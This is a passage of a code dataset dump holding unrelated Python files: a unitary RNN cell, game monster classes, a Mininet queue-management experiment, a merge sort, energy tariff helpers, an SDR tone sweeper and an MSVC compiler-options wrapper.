self._capacity\n\n\tdef __call__(self, inputs, state, scope=None):\n\t\twith vs.variable_scope(scope or \"eurnn_cell\"):\n\n\t\t\tWh = EUNN_loop(state, self._capacity, self.v1, self.v2, self.ind, self.diag)\n\n\t\t\tU_init = init_ops.random_uniform_initializer(-0.01, 0.01)\n\t\t\tif self._comp:\n\t\t\t\tU_re = vs.get_variable(\"U_re\", [inputs.get_shape()[-1], self._hidden_size], initializer = U_init)\n\t\t\t\tU_im = vs.get_variable(\"U_im\", [inputs.get_shape()[-1], self._hidden_size], initializer = U_init)\n\t\t\t\tUx_re = math_ops.matmul(inputs, U_re)\n\t\t\t\tUx_im = math_ops.matmul(inputs, U_im)\n\t\t\t\tUx = math_ops.complex(Ux_re, Ux_im)\n\t\t\telse:\n\t\t\t\tU = vs.get_variable(\"U\", [inputs.get_shape()[-1], self._hidden_size], initializer = U_init)\n\t\t\t\tUx = math_ops.matmul(inputs, U) \n\n\t\t\tbias = vs.get_variable(\"modReLUBias\", [self._hidden_size], initializer= init_ops.constant_initializer())\n\t\t\toutput = self._activation((Ux + Wh), bias, self._comp) \n\n\t\treturn output, output\n\n","sub_path":"EURNN.py","file_name":"EURNN.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"590133642","text":"from random import *\nfrom copy import *\nfrom Object import *\n\n#Simply a placeholder until I work on this more\n\n\n\t\nclass MonsterHandler:\n\tdef __init__(self):\n\t\tself.makeMonsters()\n\n\tdef spawnMonster(self, areaType):\n\t\tif areaType == \"Forest\":\n\t\t\tchoose(self.monsterGroups[\"Forest\"])\n\t\tif areaType == \"Cave\":\n\t\t\tmob = choice(self.monsterGroups[\"Cave\"])\n\t\t\treturn mob\n\t\t\n\tdef makeMonsters(self):\n\t\tself.monsterGroups = {}\n\t\tself.monsterGroups[\"Forest\"] = self.makeForestCreatures()\n\t\tself.monsterGroups[\"Cave\"] = self.makeCaveCreatures()\n\t\t#self.monsterGroups[\"Highlands\"] = makeHighlandCreatures()\n\t\t#self.monsterGroups[\"Dungeon\"] = makeDungeonCreatures()\n\t\t#self.monsterGroups[\"Elite\"] = makeEliteCreatures()\n\t\t\n\tdef makeForestCreatures(self):\n\t\tforest = []\n\t\t\n\t\t#1) Instantiate the monster with name\n\t\t#2) Set basic stats\n\t\t#3) Set its possible list of attacks [rolls, maxnumber] [3,6] will \"roll\" a 6 sided die 3 times\n\t\tDireRabbit = Monster(\"Dire Rabbit\")\n\t\tDireRabbit.setStats(15, 12, 16, 16, 12, 12)\n\t\tDireRabbit.setAttacks({\"Bite\": [1, 6], \"Feral Bite\": [3,4]})\n\t\tforest.append(DireRabbit)\n\t\t\n\t\treturn forest\n\t\n\tdef makeCaveCreatures(self):\n\t\tcave = []\n\t\t\n\t\tBslime = Creature(\"Blue Slime\", size=\"small\")\n\t\tBslime.setStats(8, 8, 12, 16, 8, 8)\n\t\tBslime.setAttacks({\"Suck\": [1,4], \"Slam\": [2, 3]})\n\t\tcave.append(Bslime)\n\t\t\n\t\tGslime = Monster(\"Green Slime\", size=\"small\")\n\t\tGslime.setStats(10, 9, 13, 13, 8, 8)\n\t\tGslime.setAttacks({\"Suck\": [1,4], \"Slam\": [2, 3]})\n\t\tcave.append(Gslime)\n\t\treturn cave\n\t\t\n\t\nclass Creature(EntityObject):\n\tdef __init__(self, Name, color=libtcod.blue, size=\"medium\"):\n\t\t#Skill storage\n\t\tself.name = Name\n\t\tself.aggresive = False\n\t\tself.attacks = {}\n\t\t\n\t\t# Equipment\n\t\tself.mainHand = None\n\t\tself.offHand = None\n\t\t\n\t\tself.helmet = None\n\t\tself.chest = None\n\t\tself.gloves = None\n\t\tself.legs = None\n\t\tself.boots = None\n\t\t\n\t\t# Vitals\n\t\tself.size = size\n\t\t\n\t\tself.hp = 30\n\t\tself.maxHp = 30\n\t\t\n\t\tself.mp = 30\n\t\tself.maxMp = 30\n\t\t\n\t\tself.stamina = 30\n\t\tself.maxStamina = 30\n\t\t\n\t\t# Attributes\n\t\tself.strength = 10\n\t\tself.constitution = 10\n\t\tself.dexterity = 10\n\t\tself.agility = 10\n\t\tself.wisdom = 10\n\t\tself.intelligence = 10\n\n\t\t# Make it a map object\n\t\tEntityObject.__init__(self, 1, 1, self.name[0], color, solid=True)\n\t\t\n\tdef setAttacks(self, attacks):\n\t\tself.attacks = attacks\n\t\t\n\tdef setStats(self, STR, CON, DEX, AGI, WIS, INT):\n\t\tself.strength = STR\n\t\tself.constitution = CON\n\t\tself.dexterity = DEX\n\t\tself.agility = AGI\n\t\tself.wisdom = WIS\n\t\tself.intelligence = INT\n\t\t\n\tdef updateStats(self):\n\t\tif self.size == \"small\":\n\t\t\tself.hp += (self.constitution - 12) * 3\n\t\t\tself.maxHp = self.hp\n\t\t\tself.mp += (self.wisdom - 12) * 3\n\t\t\tself.maxMp = self.mp\n\t\t\tself.stamina = (self.strength - 12) * 3\n\t\t\tself.maxStamina = self.stamina\n\t\t\n\t\t\n\tdef spawn(self, Map):\n\t\tspawn_mob = copy(self)\n\t\tstrmod = randint(-3, 3)\n\t\tconmod = randint(-3, 3)\n\t\tdexmod = randint(-3, 3)\n\t\tagimod = randint(-3, 3)\n\t\twismod = randint(-3, 3)\n\t\tintmod = randint(-3, 3)\n\t\t\n\t\tspawn_mob.strength += strmod\n\t\tspawn_mob.constitution += conmod\n\t\tspawn_mob.dexterity += dexmod\n\t\tspawn_mob.agility += agimod\n\t\tspawn_mob.wisdom += wismod\n\t\tspawn_mob.intelligence += intmod\n\t\t\n\t\tspawn_mob.updateStats()\n\t\t\n\t\t(self.x, self.y) = Map.randomPoint()\n\t\t\n\tdef attack(self, target):\n\t\tattacks = self.attacks.keys()\n\t\tNameAttack = choice(list(attacks))\n\t\t\n\t\tattack = self.attacks[NameAttack]\n\t\tdamage = 0\n\t\tfor i in range(attack[0]):\n\t\t\tdamage += randint(1, attack[1])\n\t\tprint(self.name + \" has used \" + NameAttack + \" for \" + str(damage) + \" damage.\")\n\n\nclass Monster(Creature):\n\t\n\tdef __init__(self, Name, size=\"medium\"):\n\t\t#Skill storage\n\t\tCreature.__init__(self, Name, libtcod.red, size)\n\t\tself.aggresive = True\n\t\t\nclass Boss(Monster):\n\t\n\tdef __init__(self, Name):\n\t\tpass\n","sub_path":"Monster.py","file_name":"Monster.py","file_ext":"py","file_size_in_byte":3750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"289097173","text":"#!/usr/bin/python\nfrom mininet.topo import Topo\nfrom mininet.net import Mininet\nfrom mininet.node import Node\nfrom mininet.log import setLogLevel, info\nfrom mininet.cli import CLI\nfrom time import sleep\nimport os\n\n\n#########################\n## Config Class\n#########################\n\nclass Config:\n def __init__(self, aqm, aqm_params, cc_algo, limit, bandwidth, delay, duration):\n self.aqm = aqm\n self.aqm_params = \"limit %s %s\" % (limit, aqm_params)\n self.cc_algo = cc_algo\n self.host_cmds = [\n 'sysctl -w net.ipv4.tcp_congestion_control=%s' % cc_algo,\n 'sysctl -w net.ipv4.tcp_ecn=1',\n ]\n self.limit = limit\n self.bandwidth = bandwidth\n self.delay = delay\n self.duration = duration\n self.title = aqm + ' ' + cc_algo\n self.subtitle = self.aqm_params\n\n\n#########################\n## Experiment Configs\n#########################\n\nconfigs = {\n 'fifo': Config(\n aqm='pfifo',\n aqm_params='',\n cc_algo='reno_abe',\n limit=64,\n bandwidth='10mbit',\n delay='10ms',\n duration=10\n ),\n 'codel': Config(\n aqm='codel',\n aqm_params='ecn',\n cc_algo='reno',\n limit=64,\n bandwidth='10mbit',\n delay='10ms',\n duration=10\n ),\n 'pie': Config(\n aqm='pie',\n aqm_params='target 15ms tupdate 15ms ecn',\n cc_algo='reno_abe',\n limit=64,\n bandwidth='10mbit',\n delay='10ms',\n duration=10\n ),\n}\n\n#########################\n## Chosen Config\n#########################\n\nconfig = configs['pie']\n\n\n\n\ndef run():\n #########################\n ## Network Setup\n #########################\n\n net = Mininet( topo=NetworkTopo() )\n net.start()\n\n sender = net.get('h1')\n receiver = net.get('h2')\n router = net.get('r0')\n\n print('\\nSetting up router:\\n')\n\n router_interfaces = ['h1-eth', 'h2-eth']\n tcp_segment_offload = (\"ethtool -K {iface} tso off gso off gro off\")\n # ingress = (\n # \"ip link add name {pface} type ifb;\"\n # \"tc qdisc add dev {iface} handle ffff: ingress;\"\n # \"tc qdisc add dev {pface} root {aqm} {params};\"\n # \"ip link set dev {pface} up;\"\n # \"tc filter add dev {iface} parent ffff: protocol all prio 10 u32 match u32 0 0\"\n # \" flowid 1:1 action mirred egress redirect dev {pface};\"\n # )\n # egress = (\n # \"tc qdisc add dev {iface} root handle 1: htb default 10;\"\n # \"tc class add dev {iface} parent 1: classid 1:10 htb rate {rate} ceil {rate};\"\n # \"tc qdisc add dev {iface} parent 1:10 handle 20: netem delay {delay} limit {queue};\"\n # )\n\n ifb = (\n \"ip link add name {pface} type ifb;\"\n \"ip link set dev {pface} up;\"\n \"tc qdisc add dev {iface} handle ffff: ingress;\"\n \"tc filter add dev {iface} parent ffff: protocol ip u32 match u32 0 0\"\n \" action mirred egress redirect dev {pface};\"\n )\n ingress = (\n \"tc qdisc add dev {pface} root {aqm} {params};\"\n # \"tc qdisc add dev {pface} root handle 1: htb default 10;\"\n # \"tc class add dev {pface} parent 1: classid 1:1 htb rate {rate};\"\n # \"tc class add dev {pface} parent 1:1 classid 1:10 htb rate {rate};\"\n # \"tc qdisc add dev {pface} parent 1:10 {aqm} {params};\"\n )\n egress = (\n \"tc qdisc add dev {iface} root handle 1: htb default 10;\"\n \"tc class add dev {iface} parent 1: classid 1:1 htb rate {rate};\"\n \"tc class add dev {iface} parent 1:1 classid 1:10 htb rate {rate};\"\n \"tc qdisc add dev {iface} parent 1:10 netem delay {delay} limit {queue};\"\n )\n\n for intf in router_interfaces:\n router.cmdPrint(tcp_segment_offload.format(iface=intf))\n router.cmdPrint(ifb.format(iface=intf, pface=intf+'-ifb'))\n router.cmdPrint(ingress.format(pface=intf+'-ifb', aqm=config.aqm, params=config.aqm_params))\n router.cmdPrint(egress.format(iface=intf, rate=config.bandwidth, delay=config.delay, queue=config.limit))\n\n # for intf in router_interfaces:\n # router.cmdPrint(tcp_segment_offload.format(iface=intf))\n # router.cmdPrint(ingress.format(iface=intf, pface=intf+'-ifb', aqm=config.aqm, params=config.aqm_params))\n # router.cmdPrint(egress.format(iface=intf, rate=config.bandwidth, delay=config.delay, queue=config.limit))\n\n\n print('\\n\\nSetting up hosts:\\n')\n\n hosts = [sender, receiver]\n\n for host in hosts:\n host.cmdPrint(tcp_segment_offload.format(iface=host.intf()))\n for cmd in config.host_cmds:\n host.cmdPrint(cmd)\n\n #########################\n ## Start Experiment\n #########################\n\n print('\\n\\nStarting experiment... %s second(s).\\n' % config.duration)\n\n samples = []\n temp = 'temp'\n result = 'result'\n receiver.cmdPrint('iperf -s &')\n sender.cmdPrint('iperf -t %s -c %s &' % (config.duration * 2, receiver.IP()))\n\n time = 0\n step = 0.01\n\n while time <= config.duration:\n sample = sender.cmd('ss -i dst %s | grep cwnd' % receiver.IP())\n samples.append(sample)\n sleep(step)\n time += step\n \n with open(temp, \"w\") as file:\n for sample in samples:\n file.write(sample)\n \n os.system('cat %s | grep rtt > %s' % (temp, result))\n\n #########################\n ## End Experiment\n #########################\n\n print('\\n\\nExperiment done.\\n')\n\n for host in hosts:\n host.cmdPrint('pkill iperf')\n host.cmdPrint('pkill iperf')\n \n net.stop()\n plot(result, step)\n os.system('rm %s %s' % (temp, result))\n\n\ndef plot(result, step):\n os.system('python3 plot.py %s %s \"%s\" \"%s\"'\n % (result, step, config.title, config.subtitle))\n\n\nclass LinuxRouter( Node ):\n \"A Node with IP forwarding enabled.\"\n\n def config( self, **params ):\n super( LinuxRouter, self).config( **params )\n self.cmd( 'sysctl net.ipv4.ip_forward=1' )\n\n def terminate( self ):\n self.cmd( 'sysctl net.ipv4.ip_forward=0' )\n super( LinuxRouter, self ).terminate()\n\n\nclass NetworkTopo( Topo ):\n \"A LinuxRouter connecting two IP subnets\"\n\n def build( self, **_opts ):\n defaultIP = '192.168.1.1/24'\n router = self.addNode( 'r0', cls=LinuxRouter, ip=defaultIP )\n\n h1 = self.addHost('h1', ip='192.168.1.100/24', defaultRoute='via 192.168.1.1')\n h2 = self.addHost('h2', ip='172.16.0.100/12', defaultRoute='via 172.16.0.1')\n\n self.addLink(h1, router, intfName2='h1-eth', params2={ 'ip' : defaultIP })\n self.addLink(h2, router, intfName2='h2-eth', params2={ 'ip' : '172.16.0.1/12' })\n\n \nif __name__ == '__main__':\n setLogLevel( 'info' )\n run()\n","sub_path":"testbed/mininet/run2.py","file_name":"run2.py","file_ext":"py","file_size_in_byte":6735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"27552396","text":"def merge(arr, low, mid, high):\r\n\tcpy = arr[:]\r\n\tptr = low\r\n\tlPtr = low\r\n\thPtr = mid\r\n\r\n\twhile lPtr <= mid - 1 and hPtr <= high:\r\n\t\tif cpy[lPtr] < cpy[hPtr]:\r\n\t\t\tarr[ptr] = cpy[lPtr]\r\n\t\t\tlPtr += 1\r\n\t\telse:\r\n\t\t\tarr[ptr] = cpy[hPtr]\r\n\t\t\thPtr += 1\r\n\t\tptr += 1\r\n\r\n\twhile lPtr <= mid - 1:\r\n\t\tarr[ptr] = cpy[lPtr]\r\n\t\tlPtr += 1\r\n\t\tptr += 1\r\n\r\n\twhile hPtr <= high:\r\n\t\tarr[ptr] = cpy[hPtr]\r\n\t\thPtr += 1\r\n\t\tptr += 1\r\n\r\ndef sort(arr, low, high):\r\n\t# Base case\r\n\tif low - high == 0:\r\n\t\treturn\r\n\t# Find pivot in middle\r\n\tpivot = (high - low + 1) // 2 + low\r\n\r\n\t# Sort subarrays\r\n\tsort(arr, low, pivot - 1)\r\n\tsort(arr, pivot, high)\r\n\r\n\t# Merge arrays\r\n\tmerge(arr, low, pivot, high)\r\n\r\narr = [5,9,1,2,6,3,7,8,8,8,8]\r\nsort(arr, 0, len(arr) - 1)\r\nprint(arr)\r\n","sub_path":"archive/Code Comp Practice/mergesort.py","file_name":"mergesort.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"505982376","text":"from homeassistant.util.dt import (utcnow, as_utc, parse_datetime)\n\nimport re\n\nfrom .const import (\n REGEX_TARIFF_PARTS\n)\n\ndef get_tariff_parts(tariff_code):\n matches = re.search(REGEX_TARIFF_PARTS, tariff_code)\n if matches == None:\n raise Exception(f'Unable to extract product code from tariff code: {tariff_code}')\n\n # According to https://www.guylipman.com/octopus/api_guide.html#s1b, this part should indicate if we're dealing\n # with standard rates or day/night rates\n energy = matches[1]\n rate = matches[2]\n product_code = matches[3]\n region = matches[4]\n\n return {\n \"energy\": energy,\n \"rate\": rate,\n \"product_code\": product_code,\n \"region\": region\n }\n\nasync def async_get_active_tariff_code(agreements, client):\n now = utcnow()\n\n latest_agreement = None\n latest_valid_from = None\n fixed_indicators = [\"12M\", \"24M\"]\n\n # Find our latest agreement\n for agreement in agreements:\n valid_from = as_utc(parse_datetime(agreement[\"valid_from\"]))\n\n if latest_valid_from == None or valid_from > latest_valid_from:\n latest_agreement = agreement\n latest_valid_from = valid_from\n\n if latest_agreement != None:\n now = utcnow()\n tariff_parts = get_tariff_parts(latest_agreement[\"tariff_code\"])\n\n latest_valid_to = None\n if \"valid_to\" in latest_agreement and latest_agreement[\"valid_to\"] != None:\n latest_valid_to = as_utc(parse_datetime(latest_agreement[\"valid_to\"]))\n\n # If there is no end for our latest agreement, then it is our most active\n if latest_valid_to == None or latest_valid_to >= now:\n return latest_agreement[\"tariff_code\"]\n \n # If our latest agreement was a fixed rate and is in the past, then we must have moved into a variable rate\n # (according to Octopus support), therefore we need to find the latest variable rate that\n if latest_valid_to < now and any(x in tariff_parts[\"product_code\"] for x in fixed_indicators):\n products = await client.async_get_products(True)\n\n variable_product = None\n for product in products:\n available_from = as_utc(parse_datetime(product[\"available_from\"]))\n if product[\"code\"].startswith(\"VAR\") and (variable_product == None or available_from < now):\n variable_product = product\n\n if variable_product != None:\n return f'{tariff_parts[\"energy\"]}-{tariff_parts[\"rate\"]}-{variable_product[\"code\"]}-{tariff_parts[\"region\"]}'\n \n return None\n\n# Adapted from https://www.theenergyshop.com/guides/how-to-convert-gas-units-to-kwh\ndef convert_kwh_to_m3(value):\n m3_value = value * 3.6 # kWh Conversion factor\n m3_value = m3_value / 40 # Calorific value\n return round(m3_value / 1.02264, 3) # Volume correction factor","sub_path":"custom_components/octopus_energy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"420658204","text":"from __future__ import print_function\nimport math\nimport numpy as np\nfrom pyLMS7002Soapy import *\n\nclass SingleToneSweeper:\n\tsampleCnt = 5000\n\tradio = None\n\trxStream = None\n\tsampleRate = None\n\tbandWidth = None\n\taborted = False\n\tevents = None\n\n\tdef __init__(self, radio, sampleRate, rxGain, txGain, events):\n\t\tself.radio = radio\n\t\tself.events = events\n\n\t\tself.radio.tddMode = True\n\t\tself.radio.testSignalDC(0x3fff, 0x3fff)\n\t\tself.setGain(rxGain, txGain)\n\t\tself.rxStream = self.radio.sdr.setupStream(SOAPY_SDR_RX, SOAPY_SDR_CF32, [0], {\"bufferLength\": str(self.sampleCnt*10)})\n\t\tself.setSampleRate(sampleRate)\n\n\tdef setSampleRate(self, sampleRate):\n\t\tsampleRate = float(sampleRate)\n\n\t\tif (self.sampleRate==sampleRate):\n\t\t\treturn\n\n\t\tif (self.sampleRate is not None):\n\t\t\tself.radio.sdr.deactivateStream(self.rxStream)\n\n\t\tself.radio.txNCOFreq = 0\n\t\tself.radio.cgenFrequency = sampleRate * 8\n\t\tself.radio.rxBandwidth = int(sampleRate * 1.5)\n\t\tself.radio.txBandwidth = int(sampleRate * 1.5)\n\t\tself.radio.rxSampleRate = sampleRate\n\t\tself.radio.txSampleRate = sampleRate\n\n\t\tself.sampleRate = sampleRate\n\t\tself.bandWidth = sampleRate\n\n\t\tself.radio.sdr.activateStream(self.rxStream)\n\n\tdef setGain(self, rxGain, txGain):\n\t\tself.radio.rxGain = rxGain #-12, 61\n\t\tself.radio.txGain = txGain #-12, 64\n\n\tdef abortSweep(self):\n\t\tself.aborted = True\n\n\tdef sweep(self, snaStartFreq, snaEndFreq, snaNumSteps):\n\t\tself.aborted = False\n\n\t\tnumSteps = int(math.ceil(snaNumSteps / 2))\n\t\ttxNCOStep = int(round(self.bandWidth / 2 / numSteps))\n\t\ttxNCOOffset = int(round(txNCOStep / 2))\n\t\ttxRfFreq = snaStartFreq + txNCOStep*numSteps - txNCOOffset\n\n\t\tself.events.sweepStart(snaStartFreq, txNCOStep, math.floor((snaEndFreq-snaStartFreq) / txNCOStep) + 1)\n\n\t\tn = 0\n\t\tbrk = False\n\t\twhile (True):\n\t\t\tself.radio.txRfFreq = txRfFreq\n\t\t\tself.radio.configureAntenna(txRfFreq)\n\n\t\t\tfor i in range(-1*numSteps, numSteps):\n\t\t\t\tprint(\".\", end=\"\")\n\t\t\t\ttxNCOFreq = txNCOOffset + txNCOStep*i\n\t\t\t\tself.radio.txNCOFreq = txNCOFreq\n\n\t\t\t\ttargetTime = int(self.radio.sdr.getHardwareTime() + 1e6)\n\t\t\t\tbuff = self.readSamples(self.sampleCnt, targetTime)\n\n\t\t\t\tspect = np.fft.fft(buff)\n\t\t\t\tspect = np.fft.fftshift(spect)\n\t\t\t\tfftIndex = int(round(((txNCOFreq + self.sampleRate / 2) / self.sampleRate) * self.sampleCnt))\n\t\t\t\tpwr = 20*np.log10(np.abs(spect[fftIndex]) / self.sampleCnt / 2)\n\n\t\t\t\tself.events.sweepResult(n, pwr)\n\n\t\t\t\tif ((txRfFreq + txNCOFreq >= snaEndFreq) or (self.aborted)):\n\t\t\t\t\tbrk = True\n\t\t\t\t\tbreak\n\n\t\t\t\tn += 1\n\n\t\t\tprint(\" \")\n\n\t\t\tif (brk):\n\t\t\t\tbreak\n\n\t\t\ttxRfFreq += self.bandWidth\n\n\tdef readSamples(self, nSamples, targetTimeNs):\n\t\tbuff = np.zeros(nSamples, np.complex64)\n\t\tnumElemsRequest = nSamples\n\n\t\twhile numElemsRequest > 0:\n\t\t\tsr = self.radio.sdr.readStream(self.rxStream, [buff], nSamples)\n\t\t\tif (sr.timeNs>=targetTimeNs):\n\t\t\t\tnumElemsRequest -= sr.ret\n\n\t\treturn buff","sub_path":"SingleToneSweeper.py","file_name":"SingleToneSweeper.py","file_ext":"py","file_size_in_byte":2837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"598385404","text":"import os\nimport re\nimport subprocess\n\nfrom compilers.Compiler import Compiler\nfrom compilers.CompilerExceptions import OperationNotSupported\nfrom config.Config import Config\n\n\nclass ClCompiler(Compiler):\n\n def __init__(self, args=None, aargs=None, arch=\"x64\"):\n self.config = Config()\n self.vcvarsall = self.config.get_path(\"COMPILERS\", \"VCVARSALL\")\n super().__init__(None, args=args, aargs=aargs, sep=\":\", arch=arch)\n self.prefix_cmd = f'\"{self.vcvarsall}\" {self.arch}'\n\n def format_libraries(self, libraries: list = None):\n if not libraries or not isinstance(libraries, list):\n libraries = []\n libraries = libraries + self.std_library()\n return \" \".join([f'\"{lib}\"' for lib in libraries])\n\n def std_library(self):\n return [\"kernel32.lib\",\n \"user32.lib\",\n \"gdi32.lib\",\n \"winspool.lib\",\n \"comdlg32.lib\",\n \"advapi32.lib\",\n \"shell32.lib\",\n \"ole32.lib\",\n \"oleaut32.lib\",\n \"uuid.lib\",\n \"odbc32.lib\",\n \"odbccp32.lib\"]\n\n def default_dll_args(self, outfile):\n self.args = {\n \"/permissive-\": None,\n \"/GS\": None,\n \"/W3\": None,\n \"/Gy\": None,\n \"/Zi\": None,\n \"/Gm-\": None,\n \"/O2i\": None,\n \"/sdl\": None,\n \"/Zc:inline\": None,\n \"/Zc:wchar_t\": None,\n \"/fp\": \"precise\",\n \"/D \\\"BUILD_DLL\\\"\": None,\n \"/D \\\"NDEBUG\\\"\": None,\n \"/D \\\"SAGAT_EXPORTS\\\"\": None,\n \"/D \\\"_WINDOWS\\\"\": None,\n \"/D \\\"_WINDLL\\\"\": None,\n \"/D \\\"_USRDLL\\\"\": None,\n \"/D \\\"_UNICODE\\\"\": None,\n \"/D \\\"UNICODE\\\"\": None,\n \"/errorReport\": \"prompt\",\n \"/WX-\": None,\n \"/Zc\": \"forScope\",\n \"/Gd\": None,\n \"/MD\": None,\n \"/FC\": None,\n \"/EHsc\": None,\n \"/nologo\": None,\n \"/Bt+\": None,\n \"/diagnostics\": \"column\",\n \"/LD\": None,\n \"/Fe\": f'\"{outfile}\"'\n }\n\n def default_exe_args(self, outfile):\n self.args = {\n \"/permissive-\": None,\n \"/Bt+\": None,\n \"/GS\": None,\n \"/W3\": None,\n \"/Gy\": None,\n \"/Zi\": None,\n \"/Gm-\": None,\n \"/O2i\": None,\n \"/sdl\": None,\n \"/Zc:inline\": None,\n \"/Zc:wchar_t\": None,\n \"/fp\": \"precise\",\n \"/D \\\"NDEBUG\\\"\": None,\n \"/D \\\"_CONSOLE\\\"\": None,\n \"/D \\\"_UNICODE\\\"\": None,\n \"/D \\\"UNICODE\\\"\": None,\n \"/errorReport\": \"prompt\",\n \"/WX-\": None,\n \"/Zc\": \"forScope\",\n \"/Gd\": None,\n \"/MD\": None,\n \"/FC\": None,\n \"/EHsc\": None,\n \"/nologo\": None,\n \"/diagnostics\": \"column\",\n \"/Fe\": f'\"{outfile}\"'\n }\n\n def default_obj_args(self, outfile):\n self.args = {\n \"/permissive-\": None,\n \"/GS\": None,\n \"/GL\": None,\n \"/W3\": None,\n \"/Gy\": None,\n \"/Zi\": None,\n \"/Gm-\": None,\n \"/O2\": None,\n \"/sdl\": None,\n \"/Zc:inline\": None,\n \"/Zc:wchar_t\": None,\n \"/fp\": \"precise\",\n \"/D \\\"BUILD_DLL\\\"\": None,\n \"/D \\\"NDEBUG\\\"\": None,\n \"/D \\\"SAGAT_EXPORTS\\\"\": None,\n \"/D \\\"_WINDOWS\\\"\": None,\n \"/D \\\"_WINDLL\\\"\": None,\n \"/D \\\"_USRDLL\\\"\": None,\n \"/D \\\"_UNICODE\\\"\": None,\n \"/D \\\"UNICODE\\\"\": None,\n \"/errorReport\": \"prompt\",\n \"/WX-\": None,\n \"/Zc\": \"forScope\",\n \"/Gd\": None,\n \"/Oi\": None,\n \"/MD\": None,\n \"/FC\": None,\n \"/EHsc\": None,\n \"/nologo\": None,\n \"/diagnostics\": \"column\",\n \"/LD\": None,\n \"/Fo\": f'\"{outfile}\"'\n }\n\n def add_include_directory(self, directory):\n self.args[f'/I \"{directory}\"'] = None\n\n def set_libraries(self, libs: list):\n self.set_linker_options(libraries=libs)\n\n def hide_window(self):\n dll = \"/D \\\"BUILD_DLL\\\"\"\n console = \"/D \\\"_CONSOLE\\\"\"\n if console in self.args.keys():\n self.args.pop(console)\n self.set_linker_options(other=\"/SUBSYSTEM:windows /ENTRY:mainCRTStartup\")\n elif dll in self.args.keys():\n raise OperationNotSupported(\n \"DLLs don't support hidden windows at compiler level. Consider using SW_HIDE in the template\"\n )\n return True\n\n def set_linker_options(self, outfile=None, libraries: list = None, other=\"\"):\n if not self.aargs or self.aargs == \"\":\n self.aargs = f'/link '\n if libraries:\n self.aargs = f' /DYNAMICBASE {self.format_libraries(libraries=libraries)}'\n if outfile:\n self.aargs += f' /OUT \"{outfile}\"'\n self.aargs += f\" {other}\"","sub_path":"inceptor/compilers/ClCompiler.py","file_name":"ClCompiler.py","file_ext":"py","file_size_in_byte":5122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"469168827","text":"import ijson\nimport sys\nimport json\nimport decimal\n\ndef decimal_default(obj):\n if isinstance(obj, decimal.Decimal):\n return float(obj)\n raise TypeError\n\nf = open('./data/boardgames.json')\nfo = open('./data/boardgames-no-comments.json', 'w')\nparser = ijson.items(f, 'item._source')\n\nfo.write('[')\n\nfirst = False\nfor p in parser:\n if first: fo.write(',')\n del p['comments']\n fo.write(json.dumps(p, default=decimal_default))\n first = True\n\nfo.write(']')\n","sub_path":"boardgames-no-comments-json.py","file_name":"boardgames-no-comments-json.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"606808187","text":"'''\n* device_discovery\n*\n* Copyright (c) 2020-2021, Magik-Eye Inc.\n* author: Jigar Patel, jigar@magik-eye.com\n'''\n\nimport re\nimport time\nimport threading\nimport pymkeapi\nfrom pymkeros2.device_info import DeviceInfo\n\n# =============================================================================\n# DeviceDiscovery\n\n\nclass DeviceDiscovery:\n IPADDR_REGEXP = \"(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\"\n\n def __init__(self, timeout=1):\n self.device_list_ = {}\n self.timeout_ = timeout\n\n # =========================================================================\n\n @staticmethod\n def isIpAddress(val):\n ipaddr_regexp = re.compile(\"^\"+DeviceDiscovery.IPADDR_REGEXP+\"$\")\n if ipaddr_regexp.match(val):\n return True\n else:\n return False\n\n # =========================================================================\n\n def getDeviceList(self):\n return self.device_list_\n\n # =========================================================================\n\n def setTimeout(self,timeout):\n self.timeout_ = timeout\n\n # =========================================================================\n\n def updateDeviceList(self, timeout=0):\n self.device_list_.clear()\n\n if timeout == 0:\n timeout = self.timeout_\n\n self.device_list_ = pymkeapi.discover_devices(timeout)\n\n # =========================================================================\n\n def validateDevice(self, device_name, device_info = None):\n # Iterate to find in device_list\n for uid, ip in self.device_list_.items():\n if((uid == device_name) or (ip == device_name)):\n if device_info:\n device_info.setIpAddr(ip)\n device_info.setUnitId(uid)\n return True\n else:\n return False\n\n # =========================================================================\n # =========================================================================\n\nif __name__ == \"__main__\":\n # Test DeviceDiscovery\n discovery_1 = DeviceDiscovery(2)\n discovery_2 = DeviceDiscovery()\n\n # Test isIpAddress\n print(discovery_1.isIpAddress(\"000.12.12.034\")) # True\n print(discovery_1.isIpAddress(\"000.12.234.23.23\")) # False\n\n # Test updateDeviceList\n discovery_1.updateDeviceList(1)\n\n # Test getDeviceList\n print(discovery_1.getDeviceList())\n\n # Test validateDevice\n device = DeviceInfo()\n print(discovery_1.validateDevice(\"192.168.43.67\"))\n print(discovery_1.validateDevice(\"192.168.43.67\", device))\n print(discovery_1.validateDevice(\"MagikEyeOne-34cff660\"))\n print(discovery_1.validateDevice(\"MagikEyeOne-34cff660\", device))\n print(device)\n","sub_path":"client/ros2/pymkeros2/pymkeros2/device_discovery.py","file_name":"device_discovery.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"617328436","text":"from CTL.causal_tree.ctl_trigger.trigger_ctl import *\nfrom sklearn.model_selection import train_test_split\n\n\nclass TriggerValidationNode(TriggerNode):\n\n def __init__(self, var=0.0, **kwargs):\n super().__init__(**kwargs)\n\n self.var = var\n\n\n# ----------------------------------------------------------------\n# Base causal tree (ctl, base objective)\n# ----------------------------------------------------------------\nclass TriggerTreeHonestValidation(TriggerTree):\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n self.root = TriggerValidationNode()\n\n self.train_to_est_ratio = 